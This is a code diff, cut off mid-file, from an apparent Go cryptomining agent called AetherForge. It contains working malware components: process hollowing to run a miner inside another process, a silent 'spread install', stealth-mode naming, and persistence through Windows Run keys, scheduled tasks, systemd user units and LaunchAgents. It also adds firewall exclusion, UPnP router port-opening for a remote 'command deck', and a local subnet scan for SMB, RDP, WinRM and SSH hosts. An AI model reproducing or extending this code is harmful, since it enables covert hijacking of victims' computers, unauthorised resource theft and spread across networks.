return fmt.Errorf("SetThreadContext: %v", lastErr)
|
||||||
|
}
|
||||||
|
|
||||||
// 8. Resume the hollowed thread, launching our miner inside the target shell
|
// 10. Resume the hollowed thread.
|
||||||
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
|
ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
|
||||||
if ret == 0xFFFFFFFF {
|
if ret == 0xFFFFFFFF {
|
||||||
return fmt.Errorf("ResumeThread failed: %v", err)
|
return fmt.Errorf("ResumeThread: %v", lastErr)
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
|
|||||||
return id, nil
|
return id, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
|
||||||
|
func loadOrCreateAgentID(installDir string) (string, error) {
|
||||||
|
if id, err := LoadAgentID(installDir); err == nil && id != "" {
|
||||||
|
return id, nil
|
||||||
|
}
|
||||||
|
return EnsureAgentID(installDir)
|
||||||
|
}
|
||||||
|
|
||||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||||
func LoadAgentID(installDir string) (string, error) {
|
func LoadAgentID(installDir string) (string, error) {
|
||||||
path := filepath.Join(installDir, agentIDFile)
|
path := filepath.Join(installDir, agentIDFile)
|
||||||
|
|||||||
@@ -2,40 +2,31 @@ package deploy
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strings"
|
|
||||||
|
|
||||||
"crypto-miner-agent/config"
|
"crypto-miner-agent/config"
|
||||||
|
|
||||||
"golang.org/x/sys/windows/registry"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const runFlag = "--run"
|
|
||||||
|
|
||||||
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
||||||
// and relaunches the miner from there. Returns true when the current process should exit.
|
// and relaunches the miner from there. Returns true when the current process should exit.
|
||||||
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||||
|
if isRunMode() {
|
||||||
|
return false, nil
|
||||||
|
}
|
||||||
|
|
||||||
currentExe, err := CurrentExecutable()
|
currentExe, err := CurrentExecutable()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, arg := range os.Args[1:] {
|
|
||||||
if arg == runFlag {
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||||
|
|
||||||
if samePath(currentExe, installedExe) {
|
if samePath(currentExe, installedBin) {
|
||||||
return false, nil
|
return false, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|||||||
return false, fmt.Errorf("create install dir: %w", err)
|
return false, fmt.Errorf("create install dir: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := copyFile(currentExe, installedExe); err != nil {
|
if err := copyFile(currentExe, installedBin); err != nil {
|
||||||
return false, fmt.Errorf("copy miner: %w", err)
|
return false, fmt.Errorf("copy miner: %w", err)
|
||||||
}
|
}
|
||||||
_ = saveBackup(installedExe)
|
_ = saveBackup(installedBin)
|
||||||
|
|
||||||
agentID, err := EnsureAgentID(installDir)
|
agentID, err := loadOrCreateAgentID(installDir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, fmt.Errorf("agent id: %w", err)
|
return false, fmt.Errorf("agent id: %w", err)
|
||||||
}
|
}
|
||||||
@@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|||||||
logPath = ""
|
logPath = ""
|
||||||
}
|
}
|
||||||
|
|
||||||
if !cfg.StealthMode {
|
writeInstalledMarker(cfg, installDir, installedBin, agentID)
|
||||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
|
||||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
if wantsSpreadInstall() {
|
||||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
_ = setFirstRunSpreadMarker(installDir)
|
||||||
)), 0644)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||||
return false, fmt.Errorf("auto-start: %w", err)
|
return false, fmt.Errorf("auto-start: %w", err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := configureRunMode(cfg, installedExe); err != nil {
|
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
|
|
||||||
EnsureFirewallExclusion(cfg, installedExe)
|
EnsureFirewallExclusion(cfg, installedBin)
|
||||||
|
|
||||||
if err := relaunch(installedExe, logPath); err != nil {
|
if err := relaunch(installedBin, logPath); err != nil {
|
||||||
return false, fmt.Errorf("start installed miner: %w", err)
|
return false, fmt.Errorf("start installed miner: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
|
||||||
dir, err := cfg.InstallDirectory()
|
func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
|
||||||
if err == nil {
|
if isLocalhostURL(cfg.ServerURL) {
|
||||||
return dir, nil
|
LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
|
||||||
}
|
}
|
||||||
|
ok, err := InstallIfNeeded(cfg)
|
||||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
|
||||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
|
||||||
for _, base := range fallbacks {
|
|
||||||
if seen[base] {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
seen[base] = true
|
|
||||||
try := cfg
|
|
||||||
try.InstallBase = base
|
|
||||||
dir, tryErr := try.InstallDirectory()
|
|
||||||
if tryErr == nil {
|
|
||||||
return dir, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
|
|
||||||
func InstallDir(workerName, buildID string) (string, error) {
|
|
||||||
return config.RuntimeConfig{
|
|
||||||
BuiltinConfig: config.BuiltinConfig{
|
|
||||||
WorkerName: workerName,
|
|
||||||
BuildID: buildID,
|
|
||||||
InstallBase: "localappdata",
|
|
||||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
|
||||||
},
|
|
||||||
}.InstallDirectory()
|
|
||||||
}
|
|
||||||
|
|
||||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
|
||||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
LogSpreadError("spread-install", err)
|
||||||
|
return ok, err
|
||||||
}
|
}
|
||||||
defer k.Close()
|
if ok {
|
||||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
LogSpreadInfo("spread-install complete — worker relaunched from install dir")
|
||||||
}
|
}
|
||||||
|
return ok, err
|
||||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
|
||||||
switch cfg.RunAs {
|
|
||||||
case "scheduled", "service":
|
|
||||||
return createScheduledTask(cfg, installedExe)
|
|
||||||
default:
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
|
||||||
taskName := PersistenceKeyName(cfg)
|
|
||||||
if taskName == "" {
|
|
||||||
taskName = "CryptoMinerAgent"
|
|
||||||
}
|
|
||||||
script := fmt.Sprintf(
|
|
||||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
|
||||||
strings.ReplaceAll(exePath, `'`, `''`),
|
|
||||||
runFlag,
|
|
||||||
strings.ReplaceAll(taskName, `'`, `''`),
|
|
||||||
)
|
|
||||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
||||||
return cmd.Run()
|
|
||||||
}
|
|
||||||
|
|
||||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
|
||||||
if cfg.StealthMode {
|
|
||||||
return cfg.EffectiveProcessName()
|
|
||||||
}
|
|
||||||
name := sanitizeName(cfg.WorkerName)
|
|
||||||
if name == "" {
|
|
||||||
return cfg.EffectiveProcessName()
|
|
||||||
}
|
|
||||||
return "CryptoMiner-" + name
|
|
||||||
}
|
|
||||||
|
|
||||||
func relaunch(exePath, logPath string) error {
|
|
||||||
cmd := exec.Command(exePath, runFlag)
|
|
||||||
cmd.Dir = filepath.Dir(exePath)
|
|
||||||
if logPath != "" {
|
|
||||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
|
||||||
}
|
|
||||||
return cmd.Start()
|
|
||||||
}
|
|
||||||
|
|
||||||
func sanitizeName(name string) string {
|
|
||||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
|
||||||
return replacer.Replace(strings.TrimSpace(name))
|
|
||||||
}
|
|
||||||
|
|
||||||
func samePath(a, b string) bool {
|
|
||||||
a = filepath.Clean(a)
|
|
||||||
b = filepath.Clean(b)
|
|
||||||
if strings.EqualFold(a, b) {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
aAbs, errA := filepath.Abs(a)
|
|
||||||
bAbs, errB := filepath.Abs(b)
|
|
||||||
if errA != nil || errB != nil {
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
return strings.EqualFold(aAbs, bAbs)
|
|
||||||
}
|
|
||||||
|
|
||||||
func copyFile(src, dest string) error {
|
|
||||||
in, err := os.Open(src)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer in.Close()
|
|
||||||
|
|
||||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
|
|
||||||
_, err = io.Copy(out, in)
|
|
||||||
return err
|
|
||||||
}
|
}
|
||||||
|
|||||||
343
agent/deploy/natpunch.go
Normal file
343
agent/deploy/natpunch.go
Normal file
@@ -0,0 +1,343 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/xml"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const ssdpAddr = "239.255.255.250:1900"
|
||||||
|
|
||||||
|
// NATPunchResult reports a UPnP port mapping attempt.
|
||||||
|
type NATPunchResult struct {
|
||||||
|
Success bool
|
||||||
|
ExternalIP string
|
||||||
|
ExternalPort int
|
||||||
|
InternalPort int
|
||||||
|
Method string
|
||||||
|
Message string
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`)
|
||||||
|
reControl = regexp.MustCompile(`(?i)<controlURL>([^<]+)</controlURL>`)
|
||||||
|
reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`)
|
||||||
|
)
|
||||||
|
|
||||||
|
// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP.
|
||||||
|
func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) {
|
||||||
|
if internalPort <= 0 {
|
||||||
|
internalPort = 8989
|
||||||
|
}
|
||||||
|
if externalPort <= 0 {
|
||||||
|
externalPort = internalPort
|
||||||
|
}
|
||||||
|
if description == "" {
|
||||||
|
description = "AetherForge"
|
||||||
|
}
|
||||||
|
|
||||||
|
location, err := discoverIGDLocation(4 * time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
controlURL, err := resolveWANControlURL(location)
|
||||||
|
if err != nil {
|
||||||
|
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
extIP, err := upnpGetExternalIP(controlURL)
|
||||||
|
if err != nil {
|
||||||
|
return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil {
|
||||||
|
return NATPunchResult{
|
||||||
|
Method: "upnp",
|
||||||
|
ExternalIP: extIP,
|
||||||
|
ExternalPort: externalPort,
|
||||||
|
InternalPort: internalPort,
|
||||||
|
Message: err.Error(),
|
||||||
|
}, err
|
||||||
|
}
|
||||||
|
|
||||||
|
msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description)
|
||||||
|
return NATPunchResult{
|
||||||
|
Success: true,
|
||||||
|
ExternalIP: extIP,
|
||||||
|
ExternalPort: externalPort,
|
||||||
|
InternalPort: internalPort,
|
||||||
|
Method: "upnp",
|
||||||
|
Message: msg,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CloseUPnP removes a UPnP port mapping.
|
||||||
|
func CloseUPnP(externalPort int) (string, error) {
|
||||||
|
if externalPort <= 0 {
|
||||||
|
return "", fmt.Errorf("external port required")
|
||||||
|
}
|
||||||
|
location, err := discoverIGDLocation(3 * time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
controlURL, err := resolveWANControlURL(location)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if err := upnpDeletePortMapping(controlURL, externalPort); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPublicEndpoint returns WAN IP via UPnP when available.
|
||||||
|
func GetPublicEndpoint() (string, error) {
|
||||||
|
location, err := discoverIGDLocation(3 * time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
controlURL, err := resolveWANControlURL(location)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return upnpGetExternalIP(controlURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
func discoverIGDLocation(timeout time.Duration) (string, error) {
|
||||||
|
conn, err := net.ListenPacket("udp4", ":0")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
target, _ := net.ResolveUDPAddr("udp4", ssdpAddr)
|
||||||
|
search := []byte("M-SEARCH * HTTP/1.1\r\n" +
|
||||||
|
"HOST: 239.255.255.250:1900\r\n" +
|
||||||
|
"MAN: \"ssdp:discover\"\r\n" +
|
||||||
|
"MX: 2\r\n" +
|
||||||
|
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" +
|
||||||
|
"\r\n")
|
||||||
|
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||||
|
if _, err := conn.WriteTo(search, target); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
buf := make([]byte, 4096)
|
||||||
|
for {
|
||||||
|
n, _, err := conn.ReadFrom(buf)
|
||||||
|
if err != nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
body := string(buf[:n])
|
||||||
|
if m := reLocation.FindStringSubmatch(body); len(m) == 2 {
|
||||||
|
return strings.TrimSpace(m[1]), nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)")
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolveWANControlURL(deviceLocation string) (string, error) {
|
||||||
|
client := &http.Client{Timeout: 8 * time.Second}
|
||||||
|
resp, err := client.Get(deviceLocation)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
body, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
text := string(body)
|
||||||
|
if !reService.MatchString(text) {
|
||||||
|
return "", fmt.Errorf("WANIPConnection service not found in IGD description")
|
||||||
|
}
|
||||||
|
m := reControl.FindStringSubmatch(text)
|
||||||
|
if len(m) != 2 {
|
||||||
|
return "", fmt.Errorf("UPnP controlURL not found")
|
||||||
|
}
|
||||||
|
controlPath := strings.TrimSpace(m[1])
|
||||||
|
base := deviceLocation
|
||||||
|
if idx := strings.Index(base, "://"); idx >= 0 {
|
||||||
|
if slash := strings.Index(base[idx+3:], "/"); slash >= 0 {
|
||||||
|
base = base[:idx+3+slash]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if strings.HasPrefix(controlPath, "http") {
|
||||||
|
return controlPath, nil
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(controlPath, "/") {
|
||||||
|
controlPath = "/" + controlPath
|
||||||
|
}
|
||||||
|
return base + controlPath, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func upnpGetExternalIP(controlURL string) (string, error) {
|
||||||
|
body := `<?xml version="1.0"?>
|
||||||
|
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||||
|
<s:Body>
|
||||||
|
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
|
||||||
|
</s:Body>
|
||||||
|
</s:Envelope>`
|
||||||
|
resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
type envelope struct {
|
||||||
|
Body struct {
|
||||||
|
Response struct {
|
||||||
|
IP string `xml:"NewExternalIPAddress"`
|
||||||
|
} `xml:"GetExternalIPAddressResponse"`
|
||||||
|
} `xml:"Body"`
|
||||||
|
}
|
||||||
|
var env envelope
|
||||||
|
if err := xml.Unmarshal(resp, &env); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
ip := strings.TrimSpace(env.Body.Response.IP)
|
||||||
|
if ip == "" {
|
||||||
|
return "", fmt.Errorf("empty external IP from router")
|
||||||
|
}
|
||||||
|
return ip, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error {
|
||||||
|
localIP, err := primaryLocalIPv4()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||||
|
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||||
|
<s:Body>
|
||||||
|
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||||
|
<NewRemoteHost></NewRemoteHost>
|
||||||
|
<NewExternalPort>%d</NewExternalPort>
|
||||||
|
<NewProtocol>TCP</NewProtocol>
|
||||||
|
<NewInternalPort>%d</NewInternalPort>
|
||||||
|
<NewInternalClient>%s</NewInternalClient>
|
||||||
|
<NewEnabled>1</NewEnabled>
|
||||||
|
<NewPortMappingDescription>%s</NewPortMappingDescription>
|
||||||
|
<NewLeaseDuration>0</NewLeaseDuration>
|
||||||
|
</u:AddPortMapping>
|
||||||
|
</s:Body>
|
||||||
|
</s:Envelope>`, externalPort, internalPort, localIP, xmlEscape(description))
|
||||||
|
_, err = upnpSOAP(controlURL, "AddPortMapping", body)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func upnpDeletePortMapping(controlURL string, externalPort int) error {
|
||||||
|
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||||
|
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||||
|
<s:Body>
|
||||||
|
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||||
|
<NewRemoteHost></NewRemoteHost>
|
||||||
|
<NewExternalPort>%d</NewExternalPort>
|
||||||
|
<NewProtocol>TCP</NewProtocol>
|
||||||
|
</u:DeletePortMapping>
|
||||||
|
</s:Body>
|
||||||
|
</s:Envelope>`, externalPort)
|
||||||
|
_, err := upnpSOAP(controlURL, "DeletePortMapping", body)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func upnpSOAP(controlURL, action, body string) ([]byte, error) {
|
||||||
|
req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body))
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", `text/xml; charset="utf-8"`)
|
||||||
|
req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action))
|
||||||
|
client := &http.Client{Timeout: 10 * time.Second}
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
data, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) {
|
||||||
|
return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data)))
|
||||||
|
}
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func primaryLocalIPv4() (string, error) {
|
||||||
|
conn, err := net.Dial("udp4", "8.8.8.8:80")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
addr := conn.LocalAddr().(*net.UDPAddr)
|
||||||
|
return addr.IP.String(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func xmlEscape(s string) string {
|
||||||
|
s = strings.ReplaceAll(s, "&", "&")
|
||||||
|
s = strings.ReplaceAll(s, "<", "<")
|
||||||
|
s = strings.ReplaceAll(s, ">", ">")
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
||||||
|
func ScanLocalSubnet(maxHosts int) string {
|
||||||
|
if maxHosts <= 0 {
|
||||||
|
maxHosts = 64
|
||||||
|
}
|
||||||
|
ips := getLocalIPs()
|
||||||
|
if len(ips) == 0 {
|
||||||
|
return "no local IPv4 interfaces found"
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
seen := 0
|
||||||
|
for _, ip := range ips {
|
||||||
|
subnet := getSubnet(ip)
|
||||||
|
if subnet == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
|
||||||
|
for i := 1; i < 255 && seen < maxHosts; i++ {
|
||||||
|
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||||
|
if target == ip {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
open := probePorts(target, []int{445, 3389, 5985, 22})
|
||||||
|
if len(open) > 0 {
|
||||||
|
b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", ")))
|
||||||
|
seen++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if seen == 0 {
|
||||||
|
b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.")
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func probePorts(host string, ports []int) []int {
|
||||||
|
var open []int
|
||||||
|
for _, p := range ports {
|
||||||
|
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond)
|
||||||
|
if err == nil {
|
||||||
|
conn.Close()
|
||||||
|
open = append(open, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return open
|
||||||
|
}
|
||||||
|
|
||||||
|
func intSliceStr(v []int) []string {
|
||||||
|
out := make([]string, len(v))
|
||||||
|
for i, n := range v {
|
||||||
|
out[i] = strconv.Itoa(n)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
144
agent/deploy/platform_unix.go
Normal file
144
agent/deploy/platform_unix.go
Normal file
@@ -0,0 +1,144 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func CurrentExecutable() (string, error) {
|
||||||
|
path, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return filepath.Abs(os.Args[0])
|
||||||
|
}
|
||||||
|
return filepath.Abs(path)
|
||||||
|
}
|
||||||
|
|
||||||
|
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
switch runtime.GOOS {
|
||||||
|
case "darwin":
|
||||||
|
return configureLaunchAgent(cfg, binPath)
|
||||||
|
default:
|
||||||
|
return configureSystemdUser(cfg, binPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||||
|
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||||
|
return configureAutoStart(cfg, installedBin)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
unitName := PersistenceKeyName(cfg) + ".service"
|
||||||
|
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||||||
|
if err := os.MkdirAll(unitDir, 0755); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
unitPath := filepath.Join(unitDir, unitName)
|
||||||
|
content := fmt.Sprintf(`[Unit]
|
||||||
|
Description=AetherForge Worker %s
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
ExecStart=%s %s
|
||||||
|
Restart=always
|
||||||
|
RestartSec=60
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=default.target
|
||||||
|
`, cfg.WorkerName, binPath, runFlag)
|
||||||
|
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
|
||||||
|
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
|
||||||
|
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
|
||||||
|
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
|
||||||
|
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
||||||
|
if err := os.MkdirAll(plistDir, 0755); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
plistPath := filepath.Join(plistDir, label+".plist")
|
||||||
|
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0">
|
||||||
|
<dict>
|
||||||
|
<key>Label</key><string>%s</string>
|
||||||
|
<key>ProgramArguments</key>
|
